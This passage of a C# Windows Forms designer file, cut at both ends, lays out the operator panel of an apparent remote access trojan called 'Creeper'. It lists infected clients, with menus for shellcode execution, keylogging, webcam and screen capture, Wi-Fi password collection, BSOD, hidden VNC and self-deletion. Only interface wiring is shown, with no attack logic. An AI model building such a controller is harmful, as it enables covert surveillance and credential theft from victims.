this.systemOptionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.reBootToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.powerOffToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.logOutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.informationCollectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.informationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.wifiPasswordToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.othersToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.bsodToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.hvncToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||
this.imageListicon = new System.Windows.Forms.ImageList(this.components);
|
||||
this.imageListblank = new System.Windows.Forms.ImageList(this.components);
|
||||
this.richTextBoxlog = new System.Windows.Forms.RichTextBox();
|
||||
this.toolStripMain = new System.Windows.Forms.ToolStrip();
|
||||
this.toolStripButtoncmd = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonpowershell = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonscreen = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtoncamera = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonfile = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonprocess = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonnetwork = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtondevice = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonicon = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtondetails = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonregedit = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonvoice = new System.Windows.Forms.ToolStripButton();
|
||||
this.toolStripButtonkeylogger = new System.Windows.Forms.ToolStripButton();
|
||||
this.updateUI = new System.Windows.Forms.Timer(this.components);
|
||||
this.notifyIcon = new System.Windows.Forms.NotifyIcon(this.components);
|
||||
this.pingcheck = new System.Windows.Forms.Timer(this.components);
|
||||
((System.ComponentModel.ISupportInitialize)(this.splitContainerHome)).BeginInit();
|
||||
this.splitContainerHome.Panel1.SuspendLayout();
|
||||
this.splitContainerHome.Panel2.SuspendLayout();
|
||||
this.splitContainerHome.SuspendLayout();
|
||||
this.contextMenuStripMain.SuspendLayout();
|
||||
this.toolStripMain.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
//
|
||||
// splitContainerHome
|
||||
//
|
||||
resources.ApplyResources(this.splitContainerHome, "splitContainerHome");
|
||||
this.splitContainerHome.Name = "splitContainerHome";
|
||||
//
|
||||
// splitContainerHome.Panel1
|
||||
//
|
||||
this.splitContainerHome.Panel1.Controls.Add(this.listViewHome);
|
||||
//
|
||||
// splitContainerHome.Panel2
|
||||
//
|
||||
this.splitContainerHome.Panel2.Controls.Add(this.richTextBoxlog);
|
||||
//
|
||||
// listViewHome
|
||||
//
|
||||
this.listViewHome.BackColor = System.Drawing.SystemColors.Window;
|
||||
this.listViewHome.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||
this.columnHeaderip,
|
||||
this.columnHeaderaddress,
|
||||
this.columnHeadergroup,
|
||||
this.columnHeaderhwid,
|
||||
this.columnHeaderuser,
|
||||
this.columnHeaderos,
|
||||
this.columnHeadercamera,
|
||||
this.columnHeaderinstall,
|
||||
this.columnHeaderav,
|
||||
this.columnHeaderping,
|
||||
this.columnHeaderactive,
|
||||
this.columnHeaderlastinput});
|
||||
this.listViewHome.ContextMenuStrip = this.contextMenuStripMain;
|
||||
resources.ApplyResources(this.listViewHome, "listViewHome");
|
||||
this.listViewHome.ForeColor = System.Drawing.SystemColors.WindowText;
|
||||
this.listViewHome.FullRowSelect = true;
|
||||
this.listViewHome.HideSelection = false;
|
||||
this.listViewHome.LargeImageList = this.imageListicon;
|
||||
this.listViewHome.MultiSelect = false;
|
||||
this.listViewHome.Name = "listViewHome";
|
||||
this.listViewHome.OwnerDraw = true;
|
||||
this.listViewHome.ShowItemToolTips = true;
|
||||
this.listViewHome.SmallImageList = this.imageListblank;
|
||||
this.listViewHome.UseCompatibleStateImageBehavior = false;
|
||||
this.listViewHome.View = System.Windows.Forms.View.Details;
|
||||
this.listViewHome.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.listViewHome_ColumnClick);
|
||||
this.listViewHome.DrawColumnHeader += new System.Windows.Forms.DrawListViewColumnHeaderEventHandler(this.listViewHome_DrawColumnHeader);
|
||||
this.listViewHome.DrawItem += new System.Windows.Forms.DrawListViewItemEventHandler(this.listViewHome_DrawItem);
|
||||
this.listViewHome.SelectedIndexChanged += new System.EventHandler(this.listViewHome_SelectedIndexChanged);
|
||||
this.listViewHome.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listViewHome_MouseDown);
|
||||
this.listViewHome.MouseLeave += new System.EventHandler(this.listViewHome_MouseLeave);
|
||||
this.listViewHome.MouseMove += new System.Windows.Forms.MouseEventHandler(this.listViewHome_MouseMove);
|
||||
//
|
||||
// columnHeaderip
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderip, "columnHeaderip");
|
||||
//
|
||||
// columnHeaderaddress
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderaddress, "columnHeaderaddress");
|
||||
//
|
||||
// columnHeadergroup
|
||||
//
|
||||
resources.ApplyResources(this.columnHeadergroup, "columnHeadergroup");
|
||||
//
|
||||
// columnHeaderhwid
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderhwid, "columnHeaderhwid");
|
||||
//
|
||||
// columnHeaderuser
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderuser, "columnHeaderuser");
|
||||
//
|
||||
// columnHeaderos
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderos, "columnHeaderos");
|
||||
//
|
||||
// columnHeadercamera
|
||||
//
|
||||
resources.ApplyResources(this.columnHeadercamera, "columnHeadercamera");
|
||||
//
|
||||
// columnHeaderinstall
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderinstall, "columnHeaderinstall");
|
||||
//
|
||||
// columnHeaderav
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderav, "columnHeaderav");
|
||||
//
|
||||
// columnHeaderping
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderping, "columnHeaderping");
|
||||
//
|
||||
// columnHeaderactive
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderactive, "columnHeaderactive");
|
||||
//
|
||||
// columnHeaderlastinput
|
||||
//
|
||||
resources.ApplyResources(this.columnHeaderlastinput, "columnHeaderlastinput");
|
||||
//
|
||||
// contextMenuStripMain
|
||||
//
|
||||
this.contextMenuStripMain.ImageScalingSize = new System.Drawing.Size(32, 32);
|
||||
this.contextMenuStripMain.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.actionToolStripMenuItem,
|
||||
this.functionToolStripMenuItem,
|
||||
this.clientOptionToolStripMenuItem,
|
||||
this.systemOptionToolStripMenuItem,
|
||||
this.informationCollectionToolStripMenuItem,
|
||||
this.othersToolStripMenuItem});
|
||||
this.contextMenuStripMain.Name = "contextMenuStripMain";
|
||||
resources.ApplyResources(this.contextMenuStripMain, "contextMenuStripMain");
|
||||
//
|
||||
// actionToolStripMenuItem
|
||||
//
|
||||
this.actionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.runShellcodeToolStripMenuItem,
|
||||
this.lockScreenToolStripMenuItem,
|
||||
this.messageBoxToolStripMenuItem,
|
||||
this.visitWebsiteToolStripMenuItem});
|
||||
this.actionToolStripMenuItem.Name = "actionToolStripMenuItem";
|
||||
resources.ApplyResources(this.actionToolStripMenuItem, "actionToolStripMenuItem");
|
||||
//
|
||||
// runShellcodeToolStripMenuItem
|
||||
//
|
||||
this.runShellcodeToolStripMenuItem.Name = "runShellcodeToolStripMenuItem";
|
||||
resources.ApplyResources(this.runShellcodeToolStripMenuItem, "runShellcodeToolStripMenuItem");
|
||||
this.runShellcodeToolStripMenuItem.Click += new System.EventHandler(this.runShellcodeToolStripMenuItem_Click);
|
||||
//
|
||||
// lockScreenToolStripMenuItem
|
||||
//
|
||||
this.lockScreenToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.lockToolStripMenuItem,
|
||||
this.unlockToolStripMenuItem});
|
||||
this.lockScreenToolStripMenuItem.Name = "lockScreenToolStripMenuItem";
|
||||
resources.ApplyResources(this.lockScreenToolStripMenuItem, "lockScreenToolStripMenuItem");
|
||||
//
|
||||
// lockToolStripMenuItem
|
||||
//
|
||||
this.lockToolStripMenuItem.Name = "lockToolStripMenuItem";
|
||||
resources.ApplyResources(this.lockToolStripMenuItem, "lockToolStripMenuItem");
|
||||
this.lockToolStripMenuItem.Click += new System.EventHandler(this.lockToolStripMenuItem_Click);
|
||||
//
|
||||
// unlockToolStripMenuItem
|
||||
//
|
||||
this.unlockToolStripMenuItem.Name = "unlockToolStripMenuItem";
|
||||
resources.ApplyResources(this.unlockToolStripMenuItem, "unlockToolStripMenuItem");
|
||||
this.unlockToolStripMenuItem.Click += new System.EventHandler(this.unlockToolStripMenuItem_Click);
|
||||
//
|
||||
// messageBoxToolStripMenuItem
|
||||
//
|
||||
this.messageBoxToolStripMenuItem.Name = "messageBoxToolStripMenuItem";
|
||||
resources.ApplyResources(this.messageBoxToolStripMenuItem, "messageBoxToolStripMenuItem");
|
||||
this.messageBoxToolStripMenuItem.Click += new System.EventHandler(this.messageBoxToolStripMenuItem_Click);
|
||||
//
|
||||
// visitWebsiteToolStripMenuItem
|
||||
//
|
||||
this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem";
|
||||
resources.ApplyResources(this.visitWebsiteToolStripMenuItem, "visitWebsiteToolStripMenuItem");
|
||||
this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click);
|
||||
//
|
||||
// functionToolStripMenuItem
|
||||
//
|
||||
this.functionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.cMDToolStripMenuItem,
|
||||
this.powershellToolStripMenuItem,
|
||||
this.desktopToolStripMenuItem,
|
||||
this.webcamToolStripMenuItem,
|
||||
this.fileToolStripMenuItem,
|
||||
this.processToolStripMenuItem,
|
||||
this.netstatToolStripMenuItem,
|
||||
this.deviceToolStripMenuItem,
|
||||
this.registryToolStripMenuItem,
|
||||
this.voiceToolStripMenuItem,
|
||||
this.keyloggerToolStripMenuItem});
|
||||
this.functionToolStripMenuItem.Name = "functionToolStripMenuItem";
|
||||
resources.ApplyResources(this.functionToolStripMenuItem, "functionToolStripMenuItem");
|
||||
//
|
||||
// cMDToolStripMenuItem
|
||||
//
|
||||
this.cMDToolStripMenuItem.Name = "cMDToolStripMenuItem";
|
||||
resources.ApplyResources(this.cMDToolStripMenuItem, "cMDToolStripMenuItem");
|
||||
this.cMDToolStripMenuItem.Click += new System.EventHandler(this.cMDToolStripMenuItem_Click);
|
||||
//
|
||||
// powershellToolStripMenuItem
|
||||
//
|
||||
this.powershellToolStripMenuItem.Name = "powershellToolStripMenuItem";
|
||||
resources.ApplyResources(this.powershellToolStripMenuItem, "powershellToolStripMenuItem");
|
||||
this.powershellToolStripMenuItem.Click += new System.EventHandler(this.powershellToolStripMenuItem_Click);
|
||||
//
|
||||
// desktopToolStripMenuItem
|
||||
//
|
||||
this.desktopToolStripMenuItem.Name = "desktopToolStripMenuItem";
|
||||
resources.ApplyResources(this.desktopToolStripMenuItem, "desktopToolStripMenuItem");
|
||||
this.desktopToolStripMenuItem.Click += new System.EventHandler(this.desktopToolStripMenuItem_Click);
|
||||
//
|
||||
// webcamToolStripMenuItem
|
||||
//
|
||||
this.webcamToolStripMenuItem.Name = "webcamToolStripMenuItem";
|
||||
resources.ApplyResources(this.webcamToolStripMenuItem, "webcamToolStripMenuItem");
|
||||
this.webcamToolStripMenuItem.Click += new System.EventHandler(this.webcamToolStripMenuItem_Click);
|
||||
//
|
||||
// fileToolStripMenuItem
|
||||
//
|
||||
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
|
||||
resources.ApplyResources(this.fileToolStripMenuItem, "fileToolStripMenuItem");
|
||||
this.fileToolStripMenuItem.Click += new System.EventHandler(this.fileToolStripMenuItem_Click);
|
||||
//
|
||||
// processToolStripMenuItem
|
||||
//
|
||||
this.processToolStripMenuItem.Name = "processToolStripMenuItem";
|
||||
resources.ApplyResources(this.processToolStripMenuItem, "processToolStripMenuItem");
|
||||
this.processToolStripMenuItem.Click += new System.EventHandler(this.processToolStripMenuItem_Click);
|
||||
//
|
||||
// netstatToolStripMenuItem
|
||||
//
|
||||
this.netstatToolStripMenuItem.Name = "netstatToolStripMenuItem";
|
||||
resources.ApplyResources(this.netstatToolStripMenuItem, "netstatToolStripMenuItem");
|
||||
this.netstatToolStripMenuItem.Click += new System.EventHandler(this.netstatToolStripMenuItem_Click);
|
||||
//
|
||||
// deviceToolStripMenuItem
|
||||
//
|
||||
this.deviceToolStripMenuItem.Name = "deviceToolStripMenuItem";
|
||||
resources.ApplyResources(this.deviceToolStripMenuItem, "deviceToolStripMenuItem");
|
||||
this.deviceToolStripMenuItem.Click += new System.EventHandler(this.deviceToolStripMenuItem_Click);
|
||||
//
|
||||
// registryToolStripMenuItem
|
||||
//
|
||||
this.registryToolStripMenuItem.Name = "registryToolStripMenuItem";
|
||||
resources.ApplyResources(this.registryToolStripMenuItem, "registryToolStripMenuItem");
|
||||
this.registryToolStripMenuItem.Click += new System.EventHandler(this.registryToolStripMenuItem_Click);
|
||||
//
|
||||
// voiceToolStripMenuItem
|
||||
//
|
||||
this.voiceToolStripMenuItem.Name = "voiceToolStripMenuItem";
|
||||
resources.ApplyResources(this.voiceToolStripMenuItem, "voiceToolStripMenuItem");
|
||||
this.voiceToolStripMenuItem.Click += new System.EventHandler(this.voiceToolStripMenuItem_Click);
|
||||
//
|
||||
// keyloggerToolStripMenuItem
|
||||
//
|
||||
this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem";
|
||||
resources.ApplyResources(this.keyloggerToolStripMenuItem, "keyloggerToolStripMenuItem");
|
||||
this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click);
|
||||
//
|
||||
// clientOptionToolStripMenuItem
|
||||
//
|
||||
this.clientOptionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.noteToolStripMenuItem,
|
||||
this.stopToolStripMenuItem,
|
||||
this.disconnnectToolStripMenuItem,
|
||||
this.restartToolStripMenuItem,
|
||||
this.updateToolStripMenuItem,
|
||||
this.deleteSelfToolStripMenuItem});
|
||||
this.clientOptionToolStripMenuItem.Name = "clientOptionToolStripMenuItem";
|
||||
resources.ApplyResources(this.clientOptionToolStripMenuItem, "clientOptionToolStripMenuItem");
|
||||
//
|
||||
// noteToolStripMenuItem
|
||||
//
|
||||
this.noteToolStripMenuItem.Name = "noteToolStripMenuItem";
|
||||
resources.ApplyResources(this.noteToolStripMenuItem, "noteToolStripMenuItem");
|
||||
this.noteToolStripMenuItem.Click += new System.EventHandler(this.noteToolStripMenuItem_Click);
|
||||
//
|
||||
// stopToolStripMenuItem
|
||||
//
|
||||
this.stopToolStripMenuItem.Name = "stopToolStripMenuItem";
|
||||
resources.ApplyResources(this.stopToolStripMenuItem, "stopToolStripMenuItem");
|
||||
this.stopToolStripMenuItem.Click += new System.EventHandler(this.stopToolStripMenuItem_Click);
|
||||
//
|
||||
// disconnnectToolStripMenuItem
|
||||
//
|
||||
this.disconnnectToolStripMenuItem.Name = "disconnnectToolStripMenuItem";
|
||||
resources.ApplyResources(this.disconnnectToolStripMenuItem, "disconnnectToolStripMenuItem");
|
||||
this.disconnnectToolStripMenuItem.Click += new System.EventHandler(this.disconnnectToolStripMenuItem_Click);
|
||||
//
|
||||
// restartToolStripMenuItem
|
||||
//
|
||||
this.restartToolStripMenuItem.Name = "restartToolStripMenuItem";
|
||||
resources.ApplyResources(this.restartToolStripMenuItem, "restartToolStripMenuItem");
|
||||
this.restartToolStripMenuItem.Click += new System.EventHandler(this.restartToolStripMenuItem_Click);
|
||||
//
|
||||
// updateToolStripMenuItem
|
||||
//
|
||||
this.updateToolStripMenuItem.Name = "updateToolStripMenuItem";
|
||||
resources.ApplyResources(this.updateToolStripMenuItem, "updateToolStripMenuItem");
|
||||
this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click);
|
||||
//
|
||||
// deleteSelfToolStripMenuItem
|
||||
//
|
||||
this.deleteSelfToolStripMenuItem.Name = "deleteSelfToolStripMenuItem";
|
||||
resources.ApplyResources(this.deleteSelfToolStripMenuItem, "deleteSelfToolStripMenuItem");
|
||||
this.deleteSelfToolStripMenuItem.Click += new System.EventHandler(this.deleteSelfToolStripMenuItem_Click);
|
||||
//
|
||||
// systemOptionToolStripMenuItem
|
||||
//
|
||||
this.systemOptionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.reBootToolStripMenuItem,
|
||||
this.powerOffToolStripMenuItem,
|
||||
this.logOutToolStripMenuItem});
|
||||
this.systemOptionToolStripMenuItem.Name = "systemOptionToolStripMenuItem";
|
||||
resources.ApplyResources(this.systemOptionToolStripMenuItem, "systemOptionToolStripMenuItem");
|
||||
//
|
||||
// reBootToolStripMenuItem
|
||||
//
|
||||
this.reBootToolStripMenuItem.Name = "reBootToolStripMenuItem";
|
||||
resources.ApplyResources(this.reBootToolStripMenuItem, "reBootToolStripMenuItem");
|
||||
this.reBootToolStripMenuItem.Click += new System.EventHandler(this.reBootToolStripMenuItem_Click);
|
||||
//
|
||||
// powerOffToolStripMenuItem
|
||||
//
|
||||
this.powerOffToolStripMenuItem.Name = "powerOffToolStripMenuItem";
|
||||
resources.ApplyResources(this.powerOffToolStripMenuItem, "powerOffToolStripMenuItem");
|
||||
this.powerOffToolStripMenuItem.Click += new System.EventHandler(this.powerOffToolStripMenuItem_Click);
|
||||
//
|
||||
// logOutToolStripMenuItem
|
||||
//
|
||||
this.logOutToolStripMenuItem.Name = "logOutToolStripMenuItem";
|
||||
resources.ApplyResources(this.logOutToolStripMenuItem, "logOutToolStripMenuItem");
|
||||
this.logOutToolStripMenuItem.Click += new System.EventHandler(this.logOutToolStripMenuItem_Click);
|
||||
//
|
||||
// informationCollectionToolStripMenuItem
|
||||
//
|
||||
this.informationCollectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.informationToolStripMenuItem,
|
||||
this.wifiPasswordToolStripMenuItem});
|
||||
this.informationCollectionToolStripMenuItem.Name = "informationCollectionToolStripMenuItem";
|
||||
resources.ApplyResources(this.informationCollectionToolStripMenuItem, "informationCollectionToolStripMenuItem");
|
||||
//
|
||||
// informationToolStripMenuItem
|
||||
//
|
||||
this.informationToolStripMenuItem.Name = "informationToolStripMenuItem";
|
||||
resources.ApplyResources(this.informationToolStripMenuItem, "informationToolStripMenuItem");
|
||||
this.informationToolStripMenuItem.Click += new System.EventHandler(this.informationToolStripMenuItem_Click);
|
||||
//
|
||||
// wifiPasswordToolStripMenuItem
|
||||
//
|
||||
this.wifiPasswordToolStripMenuItem.Name = "wifiPasswordToolStripMenuItem";
|
||||
resources.ApplyResources(this.wifiPasswordToolStripMenuItem, "wifiPasswordToolStripMenuItem");
|
||||
this.wifiPasswordToolStripMenuItem.Click += new System.EventHandler(this.wifiPasswordToolStripMenuItem_Click);
|
||||
//
|
||||
// othersToolStripMenuItem
|
||||
//
|
||||
this.othersToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.bsodToolStripMenuItem,
|
||||
this.hvncToolStripMenuItem});
|
||||
this.othersToolStripMenuItem.Name = "othersToolStripMenuItem";
|
||||
resources.ApplyResources(this.othersToolStripMenuItem, "othersToolStripMenuItem");
|
||||
//
|
||||
// bsodToolStripMenuItem
|
||||
//
|
||||
this.bsodToolStripMenuItem.Name = "bsodToolStripMenuItem";
|
||||
resources.ApplyResources(this.bsodToolStripMenuItem, "bsodToolStripMenuItem");
|
||||
this.bsodToolStripMenuItem.Click += new System.EventHandler(this.bsodToolStripMenuItem_Click);
|
||||
//
|
||||
// hvncToolStripMenuItem
|
||||
//
|
||||
this.hvncToolStripMenuItem.Name = "hvncToolStripMenuItem";
|
||||
resources.ApplyResources(this.hvncToolStripMenuItem, "hvncToolStripMenuItem");
|
||||
this.hvncToolStripMenuItem.Click += new System.EventHandler(this.hvncToolStripMenuItem_Click);
|
||||
//
|
||||
// imageListicon
|
||||
//
|
||||
this.imageListicon.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageListicon.ImageStream")));
|
||||
this.imageListicon.TransparentColor = System.Drawing.Color.Transparent;
|
||||
this.imageListicon.Images.SetKeyName(0, "sandgalss (1).png");
|
||||
//
|
||||
// imageListblank
|
||||
//
|
||||
this.imageListblank.ColorDepth = System.Windows.Forms.ColorDepth.Depth8Bit;
|
||||
resources.ApplyResources(this.imageListblank, "imageListblank");
|
||||
this.imageListblank.TransparentColor = System.Drawing.Color.Transparent;
|
||||
//
|
||||
// richTextBoxlog
|
||||
//
|
||||
this.richTextBoxlog.BackColor = System.Drawing.SystemColors.Desktop;
|
||||
resources.ApplyResources(this.richTextBoxlog, "richTextBoxlog");
|
||||
this.richTextBoxlog.ForeColor = System.Drawing.SystemColors.Window;
|
||||
this.richTextBoxlog.Name = "richTextBoxlog";
|
||||
this.richTextBoxlog.TextChanged += new System.EventHandler(this.richTextBoxlog_TextChanged);
|
||||
//
|
||||
// toolStripMain
|
||||
//
|
||||
resources.ApplyResources(this.toolStripMain, "toolStripMain");
|
||||
this.toolStripMain.BackColor = System.Drawing.SystemColors.Control;
|
||||
this.toolStripMain.ImageScalingSize = new System.Drawing.Size(32, 32);
|
||||
this.toolStripMain.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||
this.toolStripButtoncmd,
|
||||
this.toolStripButtonpowershell,
|
||||
this.toolStripButtonscreen,
|
||||
this.toolStripButtoncamera,
|
||||
this.toolStripButtonfile,
|
||||
this.toolStripButtonprocess,
|
||||
this.toolStripButtonnetwork,
|
||||
this.toolStripButtondevice,
|
||||
this.toolStripButtonicon,
|
||||
this.toolStripButtondetails,
|
||||
this.toolStripButtonregedit,
|
||||
this.toolStripButtonvoice,
|
||||
this.toolStripButtonkeylogger});
|
||||
this.toolStripMain.Name = "toolStripMain";
|
||||
//
|
||||
// toolStripButtoncmd
|
||||
//
|
||||
this.toolStripButtoncmd.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtoncmd, "toolStripButtoncmd");
|
||||
this.toolStripButtoncmd.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtoncmd.Name = "toolStripButtoncmd";
|
||||
this.toolStripButtoncmd.Click += new System.EventHandler(this.toolStripButtoncmd_Click);
|
||||
//
|
||||
// toolStripButtonpowershell
|
||||
//
|
||||
this.toolStripButtonpowershell.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonpowershell, "toolStripButtonpowershell");
|
||||
this.toolStripButtonpowershell.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtonpowershell.Name = "toolStripButtonpowershell";
|
||||
this.toolStripButtonpowershell.Click += new System.EventHandler(this.toolStripButtonpowershell_Click);
|
||||
//
|
||||
// toolStripButtonscreen
|
||||
//
|
||||
this.toolStripButtonscreen.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonscreen, "toolStripButtonscreen");
|
||||
this.toolStripButtonscreen.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtonscreen.Name = "toolStripButtonscreen";
|
||||
this.toolStripButtonscreen.Click += new System.EventHandler(this.toolStripButtonscreen_Click);
|
||||
//
|
||||
// toolStripButtoncamera
|
||||
//
|
||||
this.toolStripButtoncamera.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtoncamera, "toolStripButtoncamera");
|
||||
this.toolStripButtoncamera.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtoncamera.Name = "toolStripButtoncamera";
|
||||
this.toolStripButtoncamera.Click += new System.EventHandler(this.toolStripButtoncamera_Click);
|
||||
//
|
||||
// toolStripButtonfile
|
||||
//
|
||||
this.toolStripButtonfile.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonfile, "toolStripButtonfile");
|
||||
this.toolStripButtonfile.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtonfile.Name = "toolStripButtonfile";
|
||||
this.toolStripButtonfile.Click += new System.EventHandler(this.toolStripButtonfile_Click);
|
||||
//
|
||||
// toolStripButtonprocess
|
||||
//
|
||||
this.toolStripButtonprocess.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonprocess, "toolStripButtonprocess");
|
||||
this.toolStripButtonprocess.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtonprocess.Name = "toolStripButtonprocess";
|
||||
this.toolStripButtonprocess.Click += new System.EventHandler(this.toolStripButtonprocess_Click);
|
||||
//
|
||||
// toolStripButtonnetwork
|
||||
//
|
||||
this.toolStripButtonnetwork.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonnetwork, "toolStripButtonnetwork");
|
||||
this.toolStripButtonnetwork.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtonnetwork.Name = "toolStripButtonnetwork";
|
||||
this.toolStripButtonnetwork.Click += new System.EventHandler(this.toolStripButtonnetwork_Click);
|
||||
//
|
||||
// toolStripButtondevice
|
||||
//
|
||||
this.toolStripButtondevice.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtondevice, "toolStripButtondevice");
|
||||
this.toolStripButtondevice.Image = global::Creeper.Properties.Resources.device_dark;
|
||||
this.toolStripButtondevice.Margin = new System.Windows.Forms.Padding(5, 1, 5, 2);
|
||||
this.toolStripButtondevice.Name = "toolStripButtondevice";
|
||||
this.toolStripButtondevice.Click += new System.EventHandler(this.toolStripButtondevice_Click);
|
||||
//
|
||||
// toolStripButtonicon
|
||||
//
|
||||
this.toolStripButtonicon.Alignment = System.Windows.Forms.ToolStripItemAlignment.Right;
|
||||
this.toolStripButtonicon.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
this.toolStripButtonicon.Image = global::Creeper.Properties.Resources.iconlist_dark;
|
||||
resources.ApplyResources(this.toolStripButtonicon, "toolStripButtonicon");
|
||||
this.toolStripButtonicon.Name = "toolStripButtonicon";
|
||||
this.toolStripButtonicon.Click += new System.EventHandler(this.toolStripButtonicon_Click);
|
||||
//
|
||||
// toolStripButtondetails
|
||||
//
|
||||
this.toolStripButtondetails.Alignment = System.Windows.Forms.ToolStripItemAlignment.Right;
|
||||
this.toolStripButtondetails.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtondetails, "toolStripButtondetails");
|
||||
this.toolStripButtondetails.Image = global::Creeper.Properties.Resources.detaillist_dark;
|
||||
this.toolStripButtondetails.Name = "toolStripButtondetails";
|
||||
this.toolStripButtondetails.Click += new System.EventHandler(this.toolStripButtondetails_Click);
|
||||
//
|
||||
// toolStripButtonregedit
|
||||
//
|
||||
this.toolStripButtonregedit.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
this.toolStripButtonregedit.Image = global::Creeper.Properties.Resources.registry_dark;
|
||||
resources.ApplyResources(this.toolStripButtonregedit, "toolStripButtonregedit");
|
||||
this.toolStripButtonregedit.Name = "toolStripButtonregedit";
|
||||
this.toolStripButtonregedit.Click += new System.EventHandler(this.toolStripButtonregedit_Click);
|
||||
//
|
||||
// toolStripButtonvoice
|
||||
//
|
||||
this.toolStripButtonvoice.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonvoice, "toolStripButtonvoice");
|
||||
this.toolStripButtonvoice.Name = "toolStripButtonvoice";
|
||||
this.toolStripButtonvoice.Click += new System.EventHandler(this.toolStripButtonvoice_Click);
|
||||
//
|
||||
// toolStripButtonkeylogger
|
||||
//
|
||||
this.toolStripButtonkeylogger.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Image;
|
||||
resources.ApplyResources(this.toolStripButtonkeylogger, "toolStripButtonkeylogger");
|
||||
this.toolStripButtonkeylogger.Name = "toolStripButtonkeylogger";
|
||||
this.toolStripButtonkeylogger.Click += new System.EventHandler(this.toolStripButtonkeylogger_Click);
|
||||
//
|
||||
// updateUI
|
||||
//
|
||||
this.updateUI.Enabled = true;
|
||||
this.updateUI.Interval = 1000;
|
||||
